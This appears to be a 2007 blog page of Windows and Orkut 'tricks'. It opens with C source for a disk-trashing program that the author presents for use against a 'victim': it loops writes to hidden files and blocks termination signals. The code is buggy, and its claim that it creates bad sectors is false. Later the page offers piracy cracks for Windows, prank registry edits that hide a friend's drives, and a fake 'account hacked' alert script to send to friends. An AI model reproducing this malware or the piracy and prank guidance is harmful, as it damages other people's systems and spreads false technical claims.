Friday, April 27, 2007

Create Bad Sectors in the hard disc

*create bad sectors on the hard disk.**

This program will create bad sectors on the hard disk. If you left it running for long enough, it could render a hard disk quite useless. When bad sectors are found, the sector is marked as bad, so fixing the hard disk is not an easy task.
Unless the victim has time and knowledge to fix the disk, the hard drive can be left quite literally defective
I don't take responsibility for what you do with this program, served foe educational purpose only.

*
*
/*

#include "stdio.h"
#include "stdlib.h"
#include "unistd.h"
#include "signal.h"
#include "sys/types.h"
#include "sys/stat.h"
#include "fcntl.h"

#define HDSIZE 640000
void handle_sig();

int main() {
int i = 0;
int x;
int fd[5];

signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);

char *buf;
buf = malloc(HDSIZE);

printf("sekt0r: trashing hard disk with bad sectors!\n");

while(1) {
fd[1] = open("/tmp/.test", O_WRONLYO_CREAT, 511);
fd[2] = open("/tmp/.test1", O_WRONLYO_CREAT, 511);
fd[3] = open("/tmp/.test2", O_WRONLYO_CREAT, 511);
fd[4] = open("/tmp/.test3", O_WRONLYO_CREAT, 511);
fd[5] = open("/tmp/.test4", O_WRONLYO_CREAT, 511);

for(x = 0; x < 5; x++) {
write(fd[x], buf, HDSIZE);
lseek(fd[x], 0, SEEK_SET);
close(fd[x]);

} /* end for() loop. */
} /* end while() loop. */
} /* end main(). */

void handle_sig() {
/* Reset signal handlers. */
signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);

printf("sekt0r: cannot exit - trashing hard disk with bad sectors!\n");
return; /* go back to creating bad sectors. */
}

Registry Hacks

Caution: Try it safely and first back-up your registry to another folder.

1) Disabling Display of Drives in My Computer
This is yet another trick you can play on your geek friend. To disable the display of local or networked drives when you click My Computer go to :

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer Now in the right pane create a new DWORD item and name it NoDrives. Now modify it's value and set it to 3FFFFFF (Hexadecimal) Now press F5 to refresh. When you click on My Computer, no drives will be shown. To enable display of drives in My Computer, simply delete this DWORD item. It's .reg file is as follows: REGEDIT4 [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explore r] "NoDrives"=dword:03ffffff


2) Pop a banner each time Windows Boots
To pop a banner which can contain any message you want to display just before a user is going to log on, go to the key: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WinLogon Now create a new string Value in the right pane named LegalNoticeCaption and enter the value that you want to see in the Menu Bar. Now create yet another new string value and name it: LegalNoticeText. Modify it and insert the message you want to display each time Windows boots. This can be effectively used to display the company's private policy each time the user logs on to his NT box. It's .reg file would be: REGEDIT4 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Winlogon] "LegalNoticeCaption"="Caption here."


3) Can u delete recycle bin?
1 thing is 4 sure, delete option can be added 2 recycle bin...the old registry thing will work out.....* launch d registry...* open HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\ShellFolder* to add a rename and delete option, change the Dword attribute to 70 01 00 20* refresh and reboot the system..... u r done.

PS: always backup ur data as well as registry b4 attempting 2 work on it if u r a newbie....


4) How to remove the shortcut arrow from the desktop ?
Open Regedit and navigate to the following key:
HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Explorer \ Shell IconsBackup the key. More information. In the right-pane, create a new String value named "29"Double-click 29 and set its data to:
C:\Windows\System32\shell32.dll,50 (an empty icon) Close Registry Editor.
Now,
Right-click Desktop, choose Properties Click the Appearance Tab.
Click Advanced button.
Choose Icon from the drop-down list
Set it's size to 31 and press OK, OK.
The changes will be applied now. Repeat the above steps and then set the Icon size back to 32 (defaults). The above steps are required to force Windows to redraw the icons

Windows tips and tricks I

Well some of dese tricks are quite common now but still i would like to go ahead keeping in mind d NOVICE users


(1) Make windows vista/XP genuine

Hey guys!!!!!!
Have u, like me purchased the pirated version of windows vista or xp
dont worry take theses fully working cracks and enjoy the rights of a genuine windows

A. Link for XP crack: Make XP genuine

B. Link for vista+XP crack: XP+Vista Crack





(2) Lock your PC

lock ur pc.. open notepad copy and paste the script below and save it .VBS extention
This wil create a shortcut.. run(click) it

set WshShell = WScript.CreateObject("WScript.Shell")
set oShellLink = WshShell.CreateShortcut(wshShell.SpecialFolders("Desktop") & "\LockWorkstation.lnk")
oShellLink.TargetPath = "%windir%\system32\rundll32.exe"
oShellLink.Arguments = "user32.dll,LockWorkStation"
oShellLink.Save

first select a folder for example i'll use a folder name movies in D drive D:\movies\
in the same drive u create a text file and typeren movies movies.{21EC2020-3AEA-1069-A2DD-08002B30309D}
and save it as loc.batagain u type in a notepad as ren movies.{21EC2020-3AEA-1069-A2DD-08002B30309D} moviesand save it as key.bat

now in D drive u can see two batch files loc and key.. when u double click loc the movie folder will change to control panel and whn u double click key the control panel will change to normal folder..




(3) Shortcut to restart your PC

You can restart a Windows XP Pro and Home machine easily by creating a shortcut with following path. (Assume you installed Windows XP on your C: Partition) "c:\windows\system32\shutdown.exe -r -f -t 00" -r is for restarting the computer. -f is to force close all programs without saving. -t 00 is used to restart in zero seconds. i.e. as soon as you D.Click on the shortcut.

You can log off from a Windows XP Professional or Home edition by running "C:\windows\system32\shutdown.exe -l -f -t 00". Also you can shutdown a Windows XP Home or Professional edition by running "c:\windows\system32\shutdown.exe -s -f -t 00". You always have to turn from the CPU after running this command. (Same with AT and ATX powered machines.) If you want to turn down power of ATX machine automatically, run "c:\windows\system32\tsshutdn.exe 00 /POWERDOWN /DELAY:00" This is used to turn off a server. Even though your computer will be shutdown completely, this whole operation will take 30 seconds to finish. Even though you don't have networked computers attached to your computer, this works





(4) Hacking windows SEND TO MENU

I know this is a very simple thing but the problem, as like many other issues, is the ignorance about it.

How often do you copy songs from a CD? Or some photos from a CD?What do you do? You select the required files and do a CTRL –C. Open the destination folder and do a CTRL-V. Here is something you can benefit time from. Customize your SEND TO MENU. This sounds simple and you can do it in less than sixty seconds.You can create your own BASKET.

  • First you’ll need access to hidden files. So change your view settings to make all hidden files visible. Tools -> folder options -> view (tab) and select the show hidden files and folders. go to parent drive:/documents and settings/(user name)/send to
  • Open up my computer and locate your most used folders.
  • Create a shortcut of the most used folders in SEND TO FOLDER.You can do this in a number of ways. Right click -> send to desktop(create shortcut) and move the shortcut from the desktop to the SEND TO FOLDER. Copy the most used folder and go to SEND TO FOLDER and right click -> paste shortcut.
  • Also remember to rename the shortcuts to send to videos or send to potos. We don’t need confusion when we use the same later.




(5) Turn on your PC in just 10 seconds

  • Click on the start button then press R it will take u to Run well go to runn type Regeditpress enterthis will open Registery Editornow look for the key

HKEY_LOACAL_MECHINE\SYSTEM\CurrentControlSet\Control\ContentIndex

  • now there find the Key Called"Startup Delay"Double Click On It
  • Now where its BaseClick DecimalNow its Default Value Is 4800000 (75300:hexadecimal)Change The Value To 40000

here u go u have done itnow close the Registery Editor and Restart Your Computer



(6) The complete list! Can u do it?

Try to create a folder in Windows with either of these names--"con" or "nul" or "Aux" or "Lpt1".Windows will not let u create ....

This s coz these refer 2 some well known ports....-con corresponds to the console-Lpt1 corresponds to printer and so on....

well dat was common but hw bt this ? Try these more CON, PRN, AUX, CLOCK$, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.





(7) Change the name on START logo

I’ve read a number of articles on the internet about changing the text on the Start button in XP. On more than one occasion I’ve seen references to a five (5) letter limitation when the button is renamed. I always wondered if this was true or just an assumption someone made because the default ‘start’ just happened to fit the button size. So, I decided to run a test and see if there really was a five character limit. First of all just u need to do is download Resource hacker.

Resource HackerTM is a freeware utility to view, modify, rename, add, delete and extract resources in 32bit Windows executables and resource files (*.res). It incorporates an internal resource script compiler and decompiler and works on Win95, Win98, WinME, WinNT, Win2000 and WinXP operating systems.ll its just 541Kb in the size..

click here to go to the download Page http://www.angusj.com/resourcehacker/

First Step

The first step is to make a backup copy of the file explorer.exe located at C:\Windows\explorer. Place it in a folder somewhere on your hard drive where it will be safe. Start Resource Hacker and open explorer.exe located at C:\Windows\explorer.exe

The category we are going to be using is String Table In Resource Hacker. Expand it by clicking the plus sign then navigate down to and expand string 37 followed by highlighting 1033. If you are using the Classic Layout rather than the XP Layout, use number 38. The right hand pane will display the stringtable as shown in Fig. 02. We’re going to modify item 578, currently showing the word “start” just as it displays on the current Start button.

There is no magic here. Just double click on the word “start” so that it’s highlighted, making sure the quotation marks are not part of the highlight. They need to remain in place, surrounding the new text that you’ll type. Go ahead and type your new entry

Second Step

Now that the modified explorer.exe has been created it’s necessary to modify the registry so the file will be recognized when the user logs on to the system. If you don’t know how to access the registry I’m not sure this article is for you, but just in case it’s a temporary memory lapse, go to Start (soon to be something else) Run and type regedit in the Open: field. Navigate to:HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows NT\ CurrentVersion\ Winlogon

double click the Shell entry to open the Edit String dialog box..In Value data: line, enter the name that was used to save the modified explorer.exe file. Click OK.

Close Registry Editor and either log off the system and log back in, or reboot the entire system if that’s your preference. If all went as planned you should see your new Start button with the revised text.u can ofcource change the text of other Baloon Items , My Computer Name, Favourites and so on many more..

Orkut tricks nd Hacks

1. Star in the scrapbook
Try & # 9733 (without space) in your scrap book editor box above your Scraps and Write Your MessageVoila!! a STAR comes up Before ur Message. isnt it Cool

2. Make your name invisible in your profile
For making your name invisible follow the steps:
1) Click on edit profile
2) Type ALT + 0173 in your first name and last name. (i.e. Type 0173 while pressing the ALT key of your keyboard.)
3) Click on Update

3. Display message"Your Orkut Account Hacked"
javascript:function reverse() { var inp = " ! aytidA yb dekcah si tnuocca tukrO ruoY "; var outp="";for (i = 0; i <= inp.length; i++) { outp =inp.charAt (i) + outp;}alert(outp) ;}; reverse(); copy and paste d Above link On Address Bar.. n replace "aytidA by ur own Name.. n send it to ur friends Or u can Manually create Any kind of Alert Box byjavascript:alert(" TYPE ANY MESSAGE HERE TO APPEAR IN ALERT BOX ") copy and paste d above in the address Bar

4. Orkut Control Panel
Let the browsing in orkut be on your finger tips. A menu will float over your orkut window which will have one touch links to various frequently browsed Orkut pages such as albums, scrapbooks, etc.
First Login to your Orkut Account then visit the following address for accessing Orkut Control Panel. Download is not required.

Orkut Control Panel

5. Blank Scraps

You must have heard of 'Missed Calls' but have you ever heard of 'Missed Scraps'? Send your friends missed scraps by writing a blank scrap or a blank post in a community.
For writing blank scrap, follow the steps:

1) Open any scrapbook.
2) Write [i] in the scrapbook.
3) Do NOT write anything else in the scrapbook, and submit the scrap.

That's all.

NOTE:You can also use [b] tag instead of [i] tagYou can also use this method to post a blank entry in any community forum.


More tricks in the pipe line. Keep posting. Hope you enjoy the tricks




Enable right clicks on sites that disable it

Lots of web sites have disabled the right click function of the mouse button... it's really, really annoying. This is done so that you don't steal (via right-click->save picture) their photos or images or any other goodies. Unfortunately, it disables ALL right-click functionality: copy, paste, open in new window.

It's easy to change, assuming your using IE 6:
Click "Tools"->"Internet Options"
Click the "Security" tab
Click "Custom Level"
Scroll down to the "Scripting" section
Set "Active Scripting" to "disable"
Click "Ok" a couple of times.

Refresh the page. And voila!! You can now right click on the site.

You'll probably want to turn this back to "enable" when your done... 'cause generally the javascript enhances a website.